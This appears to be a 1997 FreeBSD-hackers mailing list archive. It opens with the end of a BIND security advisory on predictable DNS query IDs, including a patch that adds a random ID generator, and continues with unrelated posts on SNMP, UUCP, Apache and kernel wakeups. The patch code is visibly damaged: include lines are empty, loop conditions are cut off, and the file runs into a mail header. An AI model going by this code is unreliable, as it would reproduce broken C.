~~~~~~~~~~~~~~~~~~~~~~~ [1] Vixie P. , "DNS and BIND security issues". This was originally published in the proceedings of the 5th USENIX Security Symposium and its included in the BIND distribution under the doc/misc directory. [2] Kumar A., Postel J., Neuman C., Danzig P. , Miller S. "RFC1536: Common DNS implementation errors and suggested fixes" Refer to problem 2 for a description of other weaknesses previously found in the recursion scheme. [3] Lottor, M., "RFC1033: Domain administrators operations guide" [4] Mockapetris, P., "RFC1034: Domain names - Concepts and facilities" [5] Mockapetris, P., "RFC1035: Domain Names - Implementation and specification" [6] Schuba Christopher and Spafford Eugene, "Adressing weaknesses in the Domain Name System Protocol", COAST Laboratory, Department of Computer Science, Purdue University. Comments and questions regarding this advisory can be sent to: Ivan Arce Emiliano Kargieman For more information about CORE S.A. contact: core@secnet.com Or visit: http://www.secnet.com/core Encrypted mail can also be sent to encrypted with the following PGP key: Type Bits/KeyID Date User ID pub 1024/9E55000D 1997/01/13 Secure Networks Inc. Secure Networks - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3ia mQCNAzLaFzIAAAEEAKsVzPR7Y6oFN5VPE/Rp6Sm82oE0y6Mkuof8QzERV6taihn5 uySb31UeNJ4l6Ud9alOPT/0YdeOO9on6eD1iU8qumFxzO3TLm8nTAdZehQSAQfoa rWmpwj7KpXN/3n+VyBWvhpBdKxe08SQN4ZjvV5HXy4YIrE5bTbgIhFKeVQANAAUR tCVTZWN1cmUgTmV0d29ya3MgSW5jLiA8c25pQHNlY25ldC5jb20+iQCVAwUQM1yd EB/bLKAOe7p9AQFptAQAiYpaZCpSmGgr05E698Z3t5r5BPAKUEtgvF53AvZUQLxz ZsYsVU5l5De0qKWJOQ/9LiDyWu1lvKhlTphbLy2RatWD4kO3oQL9v3TpSXm2WQhU uIzyZvj7S5ENodNnKn+gCDIvbou6OMot+7dRbWWgN2oabbru4CSlOxbG++yaTz+J AJUDBRAzTefbtOXez5VgyLkBAd0bA/43eGEgvPOFK+HHWCPpkSWCwtrtDU/dxOVz 9erHnT/CRxeojCI+50f71Qe+kvx9Q1odz2Jl/fLxhnPQdbPnpWblIbu4F8H+Syrj HTilDrl1DWa/nUNgK8sb27SMviELczP1a8gwA1eo5SUCG5TWLLTAzjWOgTxod2Ha OwseUHmqVIkAlQMFEDNOVsr/d6Iw8NVIbQEBxM0D/14XRfgSLwszgJcVbslMHm/B fF6tHoWYojzQle3opOuMYHNN8GsMZRkc1qQ8QuNA9Aj5+qDqEontGjV5IvhBu1fY FM77AhagskaFCZxwqV64Qrk328WDO89NGSd+RuovVNruDdn20TxNCEVuPTHjI0UA 8H+E6FW9jexg6RTHhPXYtCVTZWN1cmUgTmV0d29ya3MgPHNlY3VyaXR5QHNlY25l dC5jb20+iQCVAwUQMtqTKB/bLKAOe7p9AQFw5wQAgUwqJ+ZqfEy/lO1srU3nzxLA X0uHGHrMptRy/LFo8swD6G1TtWExUc3Yv/6g2/YK09b5WmplEJ+Q09maQIw+RU/s cIY+EsPauqIq4JTGh/Nm0Z4UDl2Y1x4GNtm0YqezxUPS0P0A3LHVLJ3Uo5og0G8O gPNrfbVz5ieT14OSCWCJAJUDBRAy2hd2/3eiMPDVSG0BAVNhBACfupfAcNhhnQaq aI03DOOiZSRjvql1xw4V+pPhM+IksdSK3YNUZVJJtANacgDhBT+jAPRaYbBWI3A5 ZMdcSNM8aTG0LWMLIOiOYEm6Lgd3idRBFN0Js08eyITl8mhZ33mDe4I0KQri9UiV ZcPYTbb9CWM6Hv2cMbt6S6kLnFziqIkAlQMFEDLaF0+4CIRSnlUADQEBCLoEAJwt UofDgvyZ4nCDx1KKAPkkXBRaPMWBp46xeTVcxaYiloZfwHfpk1h2mEJAxmAsvizl OtIppHl4isUxcGi/E2mLCLMvis22/IQP/9obPahPvgNaMLVtZljO1Nv3QFEkNciL FEUTNJHR1ko7ibCxkBs4cOpirFuvTMDvWnNaXAf8 =DchE - -----END PGP PUBLIC KEY BLOCK----- Copyright Notice ~~~~~~~~~~~~~~~~ The contents of this advisory are Copyright (C) 1997 Secure Networks Inc and CORE Seguridad de la Informacion S.A., and may be distributed freely provided that no fee is charged for distribution, and that proper credit is given. You can find Secure Networks papers at ftp://ftp.secnet.com/pub/papers and advisories at ftp://ftp.secnet.com/advisories You can browse our web site at http://www.secnet.com You can subscribe to our security advisory mailing list by sending mail to majordomo@secnet.com with the line "subscribe sni-advisories" Patches ~~~~~~~ --- CUT HERE --- diff -cNr ../bind-4.9.5-P1-rel/contrib/host/host.c ./contrib/host/host.c *** ../bind-4.9.5-P1-rel/contrib/host/host.c Sat Oct 12 16:24:42 1996 - --- ./contrib/host/host.c Wed Apr 9 15:27:05 1997 *************** *** 537,543 **** _res.retrans = DEF_RETRANS; /* timeout in secs between retries */ /* initialize packet id */ ! _res.id = getpid() & 0x7fff; /* save new defaults */ new_res = _res; - --- 537,543 ---- _res.retrans = DEF_RETRANS; /* timeout in secs between retries */ /* initialize packet id */ ! _res.id = res_randomid(); /* save new defaults */ new_res = _res; diff -cNr ../bind-4.9.5-P1-rel/named/ns_main.c ./named/ns_main.c *** ../bind-4.9.5-P1-rel/named/ns_main.c Tue Nov 26 03:11:23 1996 - --- ./named/ns_main.c Wed Apr 9 00:24:14 1997 *************** *** 1658,1668 **** } /* ! * These are here in case we ever want to get more clever, like perhaps ! * using a bitmap to keep track of outstanding queries and a random ! * allocation scheme to make it a little harder to predict them. Note ! * that the resolver will need the same protection so the cleverness ! * should be put there rather than here; this is just an interface layer. */ void - --- 1658,1668 ---- } /* ! * This just an interface layer to the random number generator ! * used in the resolver. ! * A special random number generator is used to create non predictable ! * and non repeating ids over a long period. It also avoids reuse ! * by switching between two distinct number cycles. */ void *************** *** 1674,1683 **** u_int16_t nsid_next() { ! if (nsid_state == 65535) ! nsid_state = 0; ! else ! nsid_state++; return (nsid_state); } - --- 1674,1680 ---- u_int16_t nsid_next() { ! nsid_state = res_randomid(); return (nsid_state); } diff -cNr ../bind-4.9.5-P1-rel/res/Makefile ./res/Makefile *** ../bind-4.9.5-P1-rel/res/Makefile Thu Aug 8 16:49:48 1996 - --- ./res/Makefile Wed Apr 9 00:32:13 1997 *************** *** 77,89 **** res_comp.c res_init.c res_mkquery.c res_query.c res_send.c \ getnetbyaddr.c getnetbyname.c getnetent.c getnetnamadr.c \ gethnamaddr.c sethostent.c nsap_addr.c hostnamelen.c inet_addr.c \ ! inet_ntop.c inet_neta.c inet_pton.c inet_net_ntop.c inet_net_pton.c OBJS= base64.o herror.o res_debug.o res_data.o \ res_comp.o res_init.o res_mkquery.o res_query.o res_send.o \ getnetbyaddr.o getnetbyname.o getnetent.o getnetnamadr.o \ gethnamaddr.o sethostent.o nsap_addr.o hostnamelen.o inet_addr.o \ ! inet_ntop.o inet_neta.o inet_pton.o inet_net_ntop.o inet_net_pton.o all: libresolv.a - --- 77,91 ---- res_comp.c res_init.c res_mkquery.c res_query.c res_send.c \ getnetbyaddr.c getnetbyname.c getnetent.c getnetnamadr.c \ gethnamaddr.c sethostent.c nsap_addr.c hostnamelen.c inet_addr.c \ ! inet_ntop.c inet_neta.c inet_pton.c inet_net_ntop.c inet_net_pton.c \ ! res_random.c OBJS= base64.o herror.o res_debug.o res_data.o \ res_comp.o res_init.o res_mkquery.o res_query.o res_send.o \ getnetbyaddr.o getnetbyname.o getnetent.o getnetnamadr.o \ gethnamaddr.o sethostent.o nsap_addr.o hostnamelen.o inet_addr.o \ ! inet_ntop.o inet_neta.o inet_pton.o inet_net_ntop.o inet_net_pton.o \ ! res_random.o all: libresolv.a diff -cNr ../bind-4.9.5-P1-rel/res/res_comp.c ./res/res_comp.c *** ../bind-4.9.5-P1-rel/res/res_comp.c Mon Dec 2 02:17:22 1996 - --- ./res/res_comp.c Fri Apr 18 18:45:02 1997 *************** *** 98,103 **** - --- 98,105 ---- dn = exp_dn; cp = comp_dn; + if (length > MAXHOSTNAMELEN-1) + length = MAXHOSTNAMELEN-1; eom = exp_dn + length; /* * fetch next label in domain name diff -cNr ../bind-4.9.5-P1-rel/res/res_init.c ./res/res_init.c *** ../bind-4.9.5-P1-rel/res/res_init.c Sat Sep 28 00:51:07 1996 - --- ./res/res_init.c Wed Apr 9 00:33:30 1997 *************** *** 197,209 **** if (!(_res.options & RES_INIT)) _res.options = RES_DEFAULT; - - /* - - * This one used to initialize implicitly to zero, so unless the app - - * has set it to something in particular, we can randomize it now. - - */ - - if (!_res.id) - - _res.id = res_randomid(); - - #ifdef USELOOPBACK _res.nsaddr.sin_addr = inet_makeaddr(IN_LOOPBACKNET, 1); #else - --- 197,202 ---- *************** *** 644,655 **** return(0); /* if not using DNS configuration from NetInfo */ } #endif /* NeXT */ - - - - u_int - - res_randomid() - - { - - struct timeval now; - - - - gettimeofday(&now, NULL); - - return (0xffff & (now.tv_sec ^ now.tv_usec ^ getpid())); - - } - --- 637,639 ---- diff -cNr ../bind-4.9.5-P1-rel/res/res_mkquery.c ./res/res_mkquery.c *** ../bind-4.9.5-P1-rel/res/res_mkquery.c Sat Sep 28 00:37:58 1996 - --- ./res/res_mkquery.c Wed Apr 9 00:31:30 1997 *************** *** 107,118 **** #endif /* * Initialize header fields. */ if ((buf == NULL) || (buflen < HFIXEDSZ)) return (-1); bzero(buf, HFIXEDSZ); hp = (HEADER *) buf; ! hp->id = htons(++_res.id); hp->opcode = op; hp->rd = (_res.options & RES_RECURSE) != 0; hp->rcode = NOERROR; - --- 107,123 ---- #endif /* * Initialize header fields. + * + * A special random number generator is used to create non predictable + * and non repeating ids over a long period. It also avoids reuse + * by switching between two distinct number cycles. */ + if ((buf == NULL) || (buflen < HFIXEDSZ)) return (-1); bzero(buf, HFIXEDSZ); hp = (HEADER *) buf; ! hp->id = htons(_res.id=res_randomid()); hp->opcode = op; hp->rd = (_res.options & RES_RECURSE) != 0; hp->rcode = NOERROR; diff -cNr ../bind-4.9.5-P1-rel/res/res_random.c ./res/res_random.c *** ../bind-4.9.5-P1-rel/res/res_random.c Wed Dec 31 17:00:00 1969 - --- ./res/res_random.c Tue Apr 22 02:31:25 1997 *************** *** 0 **** - --- 1,262 ---- + /* $OpenBSD: res_random.c,v 1.3 1997/04/19 10:07:01 provos Exp $ */ + + /* + * Copyright 1997 Niels Provos + * All rights reserved. + * + * Theo de Raadt came up with the idea of using + * such a mathematical system to generate more random (yet non-repeating) + * ids to solve the resolver/named problem. But Niels designed the + * actual system based on the constraints. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Niels Provos. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + + /* + * seed = random 15bit + * n = prime, g0 = generator to n, + * j = random so that gcd(j,n-1) == 1 + * g = g0^j mod n will be a generator again. + * + * X[0] = random seed. + * X[n] = a*X[n-1]+b mod m is a Linear Congruential Generator + * with a = 7^(even random) mod m, + * b = random with gcd(b,m) == 1 + * m = 31104 and a maximal period of m-1. + * + * The transaction id is determined by: + * id[n] = seed xor (g^X[n] mod n) + * + * Effectivly the id is restricted to the lower 15 bits, thus + * yielding two different cycles by toggling the msb on and off. + * This avoids reuse issues caused by reseeding. + * + * The 16 bit space is very small and brute force attempts are + * entirly feasible, we skip a random number of transaction ids + * so that an attacker will not get sequential ids. + */ + + #include + #include + #include + #include + + #if defined(BSD) && (BSD >= 199103) + # include + # include + # include + #else + # include "../conf/portability.h" + #endif + + #define RU_OUT 180 /* Time after wich will be reseeded */ + #define RU_MAX 30000 /* Uniq cycle, avoid blackjack prediction */ + #define RU_GEN 2 /* Starting generator */ + #define RU_N 32749 /* RU_N-1 = 2*2*3*2729 */ + #define RU_AGEN 7 /* determine ru_a as RU_AGEN^(2*rand) */ + #define RU_M 31104 /* RU_M = 2^7*3^5 - don't change */ + + #define PFAC_N 3 + const static u_int16_t pfacts[PFAC_N] = { + 2, + 3, + 2729 + }; + + static u_int16_t ru_x; + static u_int16_t ru_seed; + static u_int16_t ru_a, ru_b; + static u_int16_t ru_g; + static u_int16_t ru_counter = 0; + static u_int16_t ru_msb = 0; + static long ru_reseed; + static u_int32_t tmp; /* Storage for unused random */ + static struct timeval tv; + + static u_int32_t pmod __P((u_int32_t, u_int32_t, u_int32_t)); + static void res_initid __P((void)); + + #ifndef __OpenBSD__ + /* + * No solid source of strong random in the system. Sigh. Fake it. + */ + u_long + arc4random() + { + static char state[256]; + char *savestate; + char *setstate(); + static unsigned seed; + static int count; + u_long datum; + + if (++count == 129837 || seed == 0) { + struct timeval tv; + + count = 0; + gettimeofday(&tv, NULL); + seed = getpid() ^ tv.tv_sec ^ tv.tv_usec; + initstate(seed, state, sizeof state); + } + savestate = setstate(state); + datum = random(); + setstate(savestate); + return (datum); + } + + #endif + + /* + * Do a fast modular exponation, returned value will be in the range + * of 0 - (mod-1) + */ + + static u_int32_t + pmod(gen, exp, mod) + u_int32_t gen, exp, mod; + { + u_int32_t s, t, u; + + s = 1; + t = gen; + u = exp; + + while (u) { + if (u & 1) + s = (s*t) % mod; + u >>= 1; + t = (t*t) % mod; + } + return (s); + } + + /* + * Initalizes the seed and chooses a suitable generator. Also toggles + * the msb flag. The msb flag is used to generate two distinct + * cycles of random numbers and thus avoiding reuse of ids. + * + * This function is called from res_randomid() when needed, an + * application does not have to worry about it. + */ + static void + res_initid() + { + u_int16_t j, i; + int noprime = 1; + + tmp = arc4random(); + ru_x = (tmp & 0xFFFF) % RU_M; + + /* 15 bits of random seed */ + ru_seed = (tmp >> 16) & 0x7FFF; + + tmp = arc4random(); + + /* Determine the LCG we use */ + ru_b = (tmp & 0xfffe) | 1; + ru_a = pmod(RU_AGEN, (tmp >> 16) & 0xfffe, RU_M); + while (ru_b % 3 == 0) + ru_b += 2; + + tmp = arc4random(); + j = tmp % RU_N; + tmp = tmp >> 16; + + /* + * Do a fast gcd(j,RU_N-1), so we can find a j with + * gcd(j, RU_N-1) == 1, giving a new generator for + * RU_GEN^j mod RU_N + */ + + while (noprime) { + for (i=0; i=PFAC_N) + noprime = 0; + else + j = (j+1) % RU_N; + } + + ru_g = pmod(RU_GEN,j,RU_N); + ru_counter = 0; + + gettimeofday(&tv, NULL); + ru_reseed = tv.tv_sec + RU_OUT; + ru_msb = ru_msb == 0x8000 ? 0 : 0x8000; + } + + u_int + res_randomid() + { + int i, n; + + gettimeofday(&tv, NULL); + if (ru_counter >= RU_MAX || tv.tv_sec > ru_reseed) + res_initid(); + + if (!tmp) + tmp = arc4random(); + + /* Skip a random number of ids */ + n = tmp & 0x2f; tmp = tmp >> 6; + if (ru_counter + n >= RU_MAX) + res_initid(); + + for (i=0; i<=n; i++) + /* Linear Congruential Generator */ + ru_x = (ru_a*ru_x + ru_b) % RU_M; + + ru_counter += i; + + return (ru_seed ^ pmod(ru_g,ru_x,RU_N)) | ru_msb; + } + + #if 0 + void + main(int argc, char **argv) + { + int i, n; + u_int16_t wert; + + res_initid(); + + printf("Generator: %d\n", ru_g); + printf("Seed: %d\n", ru_seed); + printf("Reseed at %ld\n", ru_reseed); + printf("Ru_X: %d\n", ru_x); + printf("Ru_A: %d\n", ru_a); + printf("Ru_B: %d\n", ru_b); + + n = atoi(argv[1]); + for (i=0;i Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA05919 for hackers-outgoing; Fri, 30 May 1997 21:46:14 -0700 (PDT) Received: from ohm.ingsala.unal.edu.co ([168.176.15.18]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA05914 for ; Fri, 30 May 1997 21:46:10 -0700 (PDT) Received: from unalmodem.usc.unal.edu.co (unalmodem20.usc.unal.edu.co [168.176.3.50]) by ohm.ingsala.unal.edu.co (8.8.5/8.8.5) with SMTP id XAA01234; Fri, 30 May 1997 23:47:07 -0500 (COT) Message-ID: <338FC858.B26@fps.biblos.unal.edu.co> Date: Fri, 30 May 1997 23:42:32 -0700 From: "Pedro F. Giffuni" Organization: Universidad Nacional de Colombia X-Mailer: Mozilla 3.0 (Win16; I) MIME-Version: 1.0 To: Tom Samplonius CC: Joe McGuckin , freebsd-hackers@FreeBSD.ORG Subject: Re: SNMP for freebsd? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Tom Samplonius wrote: > > On Fri, 30 May 1997, Joe McGuckin wrote: > > > > > Is there a snmp daemon that will monitor such things as interface stats > > for FreeBSD? > > > > joe > > > > > > ucd-snmp in ports. > It's the best option available. Another option would be using ISODE (ISO Developer's Environment) which also includes support for a vast number of OSI services. I remember I tried to port this but three things stopped me: 1) OSI support in the kernel ( a 4.4BSD thing) rotted in FreeBSD long ago (about 2.1.x). NetBSD may still have it, since an OS based on OpenBSD offers it as one of it's features. 2) I read some reports that ISODE and the additional OSI stack it provided worked very slow under Linux. 3) ISODE is now a commercial product (the last free version was 8.0, but they decided to start counting versions all over again) that means very little support. While working on my thesis (Mech. Eng.) I found some interesting information relating ISODE with manufacturing networks (MAP/TOP), if someone ever wants to work on this I may help. Pedro. > Tom From owner-freebsd-hackers Fri May 30 21:49:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA06034 for hackers-outgoing; Fri, 30 May 1997 21:49:02 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA06019; Fri, 30 May 1997 21:48:55 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with SMTP id VAA08124; Fri, 30 May 1997 21:50:56 -0700 (PDT) Message-Id: <199705310450.VAA08124@implode.root.com> X-Authentication-Warning: implode.root.com: localhost [127.0.0.1] didn't use HELO protocol To: Julian Elischer cc: hackers@FreeBSD.ORG Subject: Re: Thundering herd. In-reply-to: Your message of "Fri, 30 May 1997 20:22:51 PDT." <199705310322.UAA17301@freefall.freebsd.org> From: David Greenman Reply-To: dg@root.com Date: Fri, 30 May 1997 21:50:56 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >one 'wakeup' and a whole bunch of processes were woken up.. >can't we do better than that? >this is in 2.2+ > >julian > >p.s. yes it only wasted 10mSec (probably less without ktrace) >but I thought we had got around this.. The thundering herd problem was fixed by me in FreeBSD 2.2.2+ (revs 1.23 / 1.16.2.2 of /sys/kern/uipc_socket2.c). -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Fri May 30 23:03:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA09109 for hackers-outgoing; Fri, 30 May 1997 23:03:55 -0700 (PDT) Received: from TomQNX.tomqnx.com (ott-pm2-21.comnet.ca [206.75.140.53]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA09102 for ; Fri, 30 May 1997 23:03:49 -0700 (PDT) Received: by TomQNX.tomqnx.com (Smail3.2 #1) id m0wXhEy-000A4HC; Sat, 31 May 1997 02:02:12 -0400 (EDT) Message-Id: From: tom@tomqnx.com (Tom Torrance at home) Subject: RELENG_2_2 Problems To: hackers@freebsd.org Date: Sat, 31 May 1997 02:02:11 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk 1) The RELNOTES.TXT files for 2.2.x-RELEASE all specify that this release has full CD-R support for the HP6020i. It seems to me that this release has NO (zero) support for the HP6020. Did I just miss it, or did someone forget to commit the necessary changes to the RELENG_2_2 tree? 2) SCSI changes submitted during the past couple of weeks seem to have broken the support for my SCSI II tape drive. For every access, I now get /kernel: st0(ahc0:6:0): ILLEGAL REQUEST asc:20,0 Invalid command operation code Hope this info helps! Tom From owner-freebsd-hackers Fri May 30 23:25:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA09638 for hackers-outgoing; Fri, 30 May 1997 23:25:09 -0700 (PDT) Received: from helbig.informatik.ba-stuttgart.de (helbig.informatik.ba-stuttgart.de [141.31.166.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA09630 for ; Fri, 30 May 1997 23:25:04 -0700 (PDT) Received: (from helbig@localhost) by helbig.informatik.ba-stuttgart.de (8.8.5/8.8.5) id IAA04246; Sat, 31 May 1997 08:25:00 +0200 (MET DST) From: Wolfgang Helbig Message-Id: <199705310625.IAA04246@helbig.informatik.ba-stuttgart.de> Subject: Re: audio devices In-Reply-To: from Chuck Robey at "May 30, 97 09:32:24 pm" To: chuckr@glue.umd.edu (Chuck Robey) Date: Sat, 31 May 1997 08:24:59 +0200 (MET DST) Cc: FreeBSD-multimedia@glue.umd.edu, FreeBSD-Hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Does anyone know what the absolute reference is for the major and minor > numbers for the audio devices, like /dev/audio, dsp, dsp0, midi, music, etc? Don't know if this is the *absolute* reference, but some numbers are in /sys/i386/conf/devices.i386 and ../majors.i386. > > I am not looking for the numbers, I can go do an ls -l of my /dev for > that. I'm trying to find the definitive guide for them. If I can get a > reference I trust, I'll go hunt thru the NAS port and fix it. These > values have undergone some changes and experimentation inthe past, as > various folks (Amancio, take a bow here) have worked to improve things. > I think that's the reason that NAS might be wrong, and if I make a change > here, I want to be able to point at the reason why I think I did it right. > > I know how to do the changes I want to do, its making sure I get the > numbers right, beyond argument, that's important. > > If I knew where the MAKEDEV script came from in the CVS tree, I would > take that as a reference ... anyone know? /usr/src/etc/MAKEDEV > > ----------------------------+----------------------------------------------- > Chuck Robey | Interests include any kind of voice or data > chuckr@eng.umd.edu | communications topic, C programming, and Unix. > 213 Lakeside Drive Apt T-1 | > Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD > (301) 220-2114 | version 3.0 current -- and great FUN! > ----------------------------+----------------------------------------------- > > Wolfgang From owner-freebsd-hackers Sat May 31 00:21:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA11442 for hackers-outgoing; Sat, 31 May 1997 00:21:44 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id AAA11430 for ; Sat, 31 May 1997 00:21:40 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA18606 for hackers@FreeBSD.ORG; Sat, 31 May 1997 09:21:14 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id JAA10860; Sat, 31 May 1997 09:07:33 +0200 (MET DST) Message-ID: <19970531090733.HH04622@uriah.heep.sax.de> Date: Sat, 31 May 1997 09:07:33 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: uucp uid's References: <19970531020825.GN62992@uriah.heep.sax.de> <199705310116.SAA23468@seagull.rtd.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199705310116.SAA23468@seagull.rtd.com>; from Don Yuniskis on May 30, 1997 18:16:45 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Don Yuniskis wrote: > > But that doesn't require distinct UIDs. > > How? Since *any* UUCP account can masquerade as another "system" > and ... UUCP account !~= UUCP UID Where !~= translates into ``not necessarily equal''. You can track of the different accounts even if they have the same UID. As i wrote earlier, the only thing that is recording by UID is the process accounting system. Things like utmp/wtmp work by login name, and i think Taylor's possibility to limit a particular system name to a distinct account, too (though i've never been using this). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 31 00:21:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA11454 for hackers-outgoing; Sat, 31 May 1997 00:21:47 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id AAA11438 for ; Sat, 31 May 1997 00:21:43 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA18608 for hackers@FreeBSD.ORG; Sat, 31 May 1997 09:21:42 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id JAA10875; Sat, 31 May 1997 09:11:43 +0200 (MET DST) Message-ID: <19970531091143.SA62500@uriah.heep.sax.de> Date: Sat, 31 May 1997 09:11:43 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: uucp uid's References: <199705310326.UAA13385@meerkat.mole.org> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199705310326.UAA13385@meerkat.mole.org>; from M.R.Murphy on May 30, 1997 20:26:03 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As M.R.Murphy wrote: > > UUCP itself is a dinosaur. Yet, I see several places that use UUCP as > > their sole connection to the electronic world. > UUCP was a good dinosaur. It still has advantages in this highly > interconnected world. It's the only working batch file transmission protocol, at least in the Unix world. We (sax.de) still require all our clients to setup UUCP so they can get news and mail by it. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 31 00:32:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA11816 for hackers-outgoing; Sat, 31 May 1997 00:32:17 -0700 (PDT) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA11811 for ; Sat, 31 May 1997 00:32:15 -0700 (PDT) Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by agora.rdrop.com (8.8.5/8.8.5) with SMTP id AAA21045 for ; Sat, 31 May 1997 00:32:01 -0700 (PDT) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id IAA21744; Sat, 31 May 1997 08:57:29 +0200 From: Luigi Rizzo Message-Id: <199705310657.IAA21744@labinfo.iet.unipi.it> Subject: Re: WHy does Appache eat my system? To: julian@whistle.com (Julian Elischer) Date: Sat, 31 May 1997 08:57:28 +0200 (MET DST) Cc: julian@alpo.whistle.com, hackers@FreeBSD.ORG In-Reply-To: <338F9023.41C67EA6@whistle.com> from "Julian Elischer" at May 30, 97 07:42:24 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I've been doing some kernel profiling on a freeBSD system, trying > to figure out why I have 0% idle and 60% in the kernel. > I haven't tracked it all down but here are a few bits of the > traces... > > Apache seems to be the main culprit. > > does anyoen who really knows apache heve any suggestions? Not that I know apache very well, but I think it uses the standard technique for multiple servers: all issue an accept() (or a select on the socket), all are woken up when the SYN comes in, then only the first one is able to successfully complete the request. In fact, this mechanism is used to synchronize the multiple servers among themselves. It would be nice to wake up only the process which actually completes the accept() successfully, but it seems a bit hard to achieve the desired result since the kernel scans all blocked processes before one has a chance to run the upper part of the accept (or this is even a subsequent syscall if using select()). The best one can do is (probably) to implement a modified select() which only wakes up the first process blocked (hoping it will be able to complete the accept() successfully). Maybe this is not too hard, but it is non-standard. Other than that, perhaps you could look at what is done in the 'team' program: there, multiple processes share the same i/o descriptor and read from them in a round-robin fashion. They probably use a different mechanism to synchronize (e.g. signals; you could also use sockets among processes) and processes are connected in a round-robin fashion. But it is non trivial to accomodate dynamic creation of processes. Cheers 